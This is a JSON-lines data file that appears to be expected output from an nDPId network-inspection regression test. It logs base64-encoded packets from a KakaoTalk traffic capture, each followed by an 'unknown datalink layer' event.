+00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":816870,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKoAAEAAQBHZ+AoYUrwByQGuKBxaBgCW5gaAbDM6frCGA1Sapdq6kkb5W1frha0IIlabPKoYYL1oH3RMR9qetPtYMuvad3c\/g+FLT\/d+Lj3a4To1FezfDgfC3JtXQkBbhqU3+IVTVsnUtTEFv0\/36ejhidNoFZCaBuNkvmZLOMwG3nR\/XM+SM0mcmteWwUTidIJix3rdjehEL\/Zo3isjgFz5LAiNH9z3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":833106,"pkt_caplen":70,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADZOw0AAQAYrdAoYUrzLzZfp0tYfkMl8NsazTa2QgBgBtk1IAAABAQgKAALVpswmIb5QFA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":859168,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPAdKAbDMYfrAGg1Sapdqg0k6DZOo4pltwV73mrj\/gxZuhAg6fYqQZSMrV4ggbC9vlLJ8aLGfGE85cgTRcCEJz0TjQGBeC96v8mQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":859595,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/H7GAbDMZfrAKQ1Sapdr5aQaJhTJGfiDoRmbcmdagZbZvkG96g\/ZS76ZH\/67bT+nWBLdlmmcgreXW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":867163,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABR7BmAbDMafrAOA1Sapdoc1lQNyMyYKKBgafKxjawqElEBwZRlZTvNNHucr0dYcSqssjv8DU5+eitKC+z2iVgVuPHfeS6wuxeQec01"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":891242,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABV04+AbFCUi0CsWguGVRmNi4rKb89h4MlRyjH1Vm8y1o7AWyzatJcfSnNsOOAjiZqSLS9IYH\/Y0cxnTso2h59CfMQ+1kvxk8A31Ig6MxkBxQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":903235,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABebbCAbDMbfrARw1SapdrASQX7a7OQrLB98Gw9+fAYQbCwg42\/3T8a7TChbu9CeVOSGu2w1L22R198S3\/EqYYMHG8mIQxz12pl9hr39y6HXuMGBLaYwDxD2w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2105,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":907355,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAPxHa7woYUrwByQGuLDhaBACfC\/GAbFC1i0EoGguGVRmS3m8VxTNrSeMxAGvyxCSYpHzYoXhr+z3LIJzs0Kuw8gqK3jGK7Zqi6gP3g+Yq1k4r6iNp2Fbm6ViZCrzMj4M2Bo9NUoEyu9rt5qhje2svUsc4\/KVcpdUXQ2doqIgU2pxwK25y1t4eSFBunud\/+ChW3zuSQ2iwHnNS5zEqSzRF9mwdcCi3WFRxXJId"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2105,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2106,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":908728,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAPxHbAwoYUrwByQGuLDhaBACLt92AbFC2i0Er2guGVRltx91TkdqvBoe\/7\/mk+7H+30zK0IVKAO1qfLU9PsZlTL+yaajuSD38sJoIMlmbOBr+ItI1hz5wr9KaYHHW5o0rrBJsqrffXeAetoFx06qkK67Dsrb40E3Q\/6Duns55tl\/EBD2dg7xjDyAfQ0jF9fYfv+y+QjxwBQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2106,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2107,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":918524,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAQBHZ9QoYUrwByQGuKBxaBgCZbQmAbDM7frCJw1SapdpN9xF+zHuPqsG4dPpxgMIQ5xaej8XWEVIZccyoZgLHAgx6loK\/SPHhb3xBKnbs3KRtXcbcp5T7EOtXAn5Y8i1gBSOqjjUxjHARODRpaAd8x3x9onWUoLVLMKgOIV8WPC76Pty90Fwo+ZTtS8X+PUexg7ywM68JU\/u7oetV5e5r35eztmls"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2107,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2108,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":943213,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZzbuAbFCVi0CwGguGVRmmg5kHX1FaJGXQwjTo\/QN+BwyVOTdHahfHQK5DpfQsOLN4iiYwbtuVVB7kBY32X8BV70E\/XPfF17rUEp\/U6TahrOR75zZV48DMgh0EV38wEByCRrweDUv7bNU\/JkxkLzG22lukClWijx6FUUe5S2q12UaBIH\/24JGLMmFEoBylXMl3Hep8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2108,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2109,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":957953,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKgAAEAAQBHZ+goYUrwByQGuKBxaBgCUaG2AbDM8frCNg1SapdrHzQ9+ObYN\/xyD3lwp7sF80xlZt\/zflzkveJADRWy90oLyXFMvushACDMCPUkVddmHLSiglHu0Qj9ohE\/SfBZax8kGbfFACNqh403oASOFmlo5ziLQ1POZwIt37cl5kTlSkJkfQBgXh8iGH4JMC4uANZfC6v+3VAR0c9FMZsxwbA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2109,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2110,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":959265,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgYoHACG44+AbFCWi0Cz2guGVRmZRJu2em99UwboNPv+dtbWeI8EazNgysgfWqwv7uF38hESkIEzsJKwRosvmegE1S8mdfKyqmXOHllbpJqGNC7JXDNElNJA\/0XXE+bzVguILEucLSIzpfYMKvpLAY31ox5US1zaKwZrLa+EymK4rXemsyU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2110,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2111,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":979224,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHRH86AHJAa4KGFK8WgQsOAB+ld+AbDMcfrAVg1SapdrCuiSCdgzEil6OJHOcmQYsIGkQEMM2TVHbKGnmTe7QTrT+mRQ5zPtV20XqgStiNZ4os5siUi3xbNHLsmqYg\/qom9LnmuJ691j70lqGc59tQMZnmI0ENTppUTMBlD8dTRexp8fPnrd28et1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2111,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2112,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":997901,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAQBHZ+QoYUrwByQGuKBxaBgCVDmuAbDM9frCRQ1Sapdr0VAwFHGWvqEdy4GQXGpa64FipYk1cKxeFn2ukAaIWT938XcyC2s4c2F9oo5sKuG01yY9dkjtQZviEmmBZXpn5\/QPK2yxe7il6eyydgsstjcOJMsC8VtVmhzfSEXEUqD3ae4fLhvr+a5orDpYhf29Izg4+rFGgZInyXqH2fj5J8t4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2112,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2113,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":999366,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJQAAEAAHRH85gHJAa4KGFK8WgQsOACAAhSAbDMdfrAZQ1SapdpbU0J\/+HE2unYNRBv6UsB6w11SPl64S2FIYJd\/j3ssn0ZSz+\/rMxeAiXy\/7xaYKIzTM0ArC5wqFDg0voGTesPKrw2zrD7VyzcvZm3U4V9P+5OgkhSY1wUsPDE3GPQasn6y2UbClwjuLFXmDHk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2113,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2114,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":7758,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAPxHa6goYUrwByQGuLDhaBACkx4CAbFC3i0EvmguGVRlhOL6BWS2BljmOn50q6SdczKxI54BhTRlCI6iQJ9lF1nFAl3ayWYok0+0fgTgc2VB1jlDAOTz379yEO6ol8rh0E3J1ezDE2+77UqgcM1E8Wa6DUSYKk3qPyqy2arqU5O8lhSLRIEeBXE3rlzf8t33kKdl7fbiRN+7kfen2aEUVMCG4TVB49CIXNG6hxcDhr7Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2114,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2115,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":77826,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAQBHaHwoYUrwByQGuKBxaBgBvefaAbDM+frCVA1SapdolaqVThhLDkge5ljLZYdAkh\/dqWweVKUKSFOFAlOYIOXEB+OfE3o4nTIaOu9BFh9RGTr3JKO4IijkYopapSFV5HaRSwksIHOD8QyoRsbQE\/qr8Hsv4u7ZdFt8M"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2115,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2116,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":114142,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALQAAEAAPxHa7goYUrwByQGuLDhaBACg3JqAbFC4i0EzWguGVRkuLpg5\/i61cLxMpQJPNXQR9FGI+gf7YWNGFGDbhz8EbgseAQWVGXCDWRhZhKxtivsdhCl5zCaeAvd7ysAUcXp165hO4udGme+3gvYxgWSWo8\/ZqaP33IpTFa17gNq6C+V81xTdym9ebj7bYUG7ynBeRi+9ybxqOPLjldaTPmraxi+yFX2kTVS7N13XLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2116,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00646{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2117,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":114386,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO7n9kAAPwb4wAoYUrxuTI8ygMgfkPcR4GCSeOaRgBgA0M5EAAABAQgKAAtODUTbrTwXAwEAIF5AKgjyI0NGRhRrGkcf8O0njNQkLNHp3rENHPoN8ahCFwMBAJA+7JjvRcTaUpV1\/tSeusUiLLTH+Wnl56Le5QddHKvP0dkHuQXIcVgpEaREihEae7\/vPEWbfTUq4pljD0+KVVeSEBX1vM1TavIZIstNqiXaXM52CYI+b+FRzq1AS2BaHzwbY1slTArxDX1UUBNzwvJhATza+i7qRX8YM6HtDnPnCfS2UQXqjIXJb65r45TpEww="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2117,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2118,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":114508,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAPxHa6goYUrwByQGuLDhaBACkxh2AbFC5i0E3GguGVRmKAjaZGuV7ZH8gOKoHhlmGtNMgUeM4nu83mDA5JBqKXA8LTdQJgkPZdkJPEURugcRPDo2cA4e+1bFyQQmYmF\/J+\/LKou1xAC+2ZjVOH2U6TdyIo4p+Dd+YF1gelZ4fH2o65jCJsRl7YK1oOiWju+fKy\/ycrzkH8R1A3ha96wM\/jhvTSY0Nec5vV+WbaKNG\/j0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2118,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2119,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":128058,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZX7mAbDM\/frCYw1Sapdrmu\/sNTr1k060srer8gHGlV86C6jZJhD6XIBbdmyDdsamywgrUzMpW8avxUbkMVLjHhBzPPQ\/HPBz3OOigPmowN4FJxBc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2119,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2120,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":212561,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAPxHbCAoYUrwByQGuLDhaBACGALaAbFC6i0E62guGVRmD8flTQh955vAs2ScfhybleEmKJp6t7AEVWuv\/j5cBsdOBeqJ6ky0wBvJ24cfwpqcYGe1qpCWR8GCeDKOKlQUHF5l6ANW6xNP1bYDT81CIY7bDGdfSx4r8qimqhVRzI5k7X4qKaFTMGQ5\/lX2RNsQpjzo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2120,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2121,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":212622,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJQAAEAAPxHbDgoYUrwByQGuLDhaBACAR4GAbFC7i0E+mguGVRnY2hR+hdBNwuR+Lf6N+ToVR8p+jrE749RghNXmuFAIcAJRKWQ99Bq5mMIfF2qMDsBp4ZSn\/9r0esxNP6kCvjnOXIzWiBBFAX1rDkfyTMQloXq2R\/eXcjHr+kZCg7OTQkeITvfgW8FC+XDQPaI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2121,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2122,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":217322,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH0AAEAAQBHaJQoYUrwByQGuKBxaBgBpEiGAbDNAfrCcg1SapdrjRU+2Vj9uOOFqGO9+FGgn60\/8iR8NdvexoO2SC7OEqCvM3Ikj6SLjev1ILv7STYpPa6D19\/myN\/93AV77hYzGAgt47yeIbzDhjjiFICQtHzlEIxFk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2122,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":261176,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAQBHaIgoYUrwByQGuKBxaBgBsyiKAbDNBfrCgQ1SapdoQa2gl0fNuQVpwLNZz5kSfZVbR1z29RAoVQTXQai9Xvntc0FsdiBgM\/5cqpmr8yTO+oT1qmSPWVJEjNlZctLVJlfN2oxZ1wFzna2ojOX67WuSDfg82HN+w"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":271857,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABifzuAbDMffrAgw1Sapdp8tXr6a5YJ5OlrakeVomlBte2SAkk7vi94nxNGiycakDbA94EMjanjN\/HhKXpP0Wb8rme+mZiZ7kXEb4OLvrGu5rbjVaflDug5iFeLJR0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272162,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHRH8\/wHJAa4KGFK8WgQsOABna8KAbDMefrAdA1Sapdo1YD9AOn6OjopJ3GwIj+bkUOdfhOHG6hY4DI7C1\/TwkaayHZDR5IceclpAroEpWbkt+iY+UgVJ8m6SHwmcpdQFUJp8uYmiEkutfsnZ8e+5Tbcr5w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272223,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/Qg2AbDMkfrAzg1Sapdq8ySlYaYPDvNmBHtZNhatECamllkL2nDa8VCnzHYQI5f8ae1mSWRMziv8s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272284,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHkAAEAAHRH9AQHJAa4KGFK8WgQsOABlkHyAbDMgfrAkg1SapdoHkmXge9nOiQ8Pkx9CRkB10Uv7pK\/QvV8fVXtLyIlZj5oDaPMSOCOIyktI9SP\/NlccXqg0OluAAos9DrZiYu8klMPdtQ2vUh6KEqqovZox+Vw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272345,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJAAAEAAHRH86gHJAa4KGFK8WgQsOAB80k2AbDMhfrAoQ1SapdoUgO+pkRLx+nVbtxFgEijaW\/qg8IhPBUKX\/ifFAAKapyZCXA4BCuPr4pgcUQ0i5FWPEMDkdyN9nVSFSJRMHCsENpJJvrJ6z7Uegzd6luTYOIF+MC\/h7kx9jQLR1Ysmz87dGa3eHm8ULA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 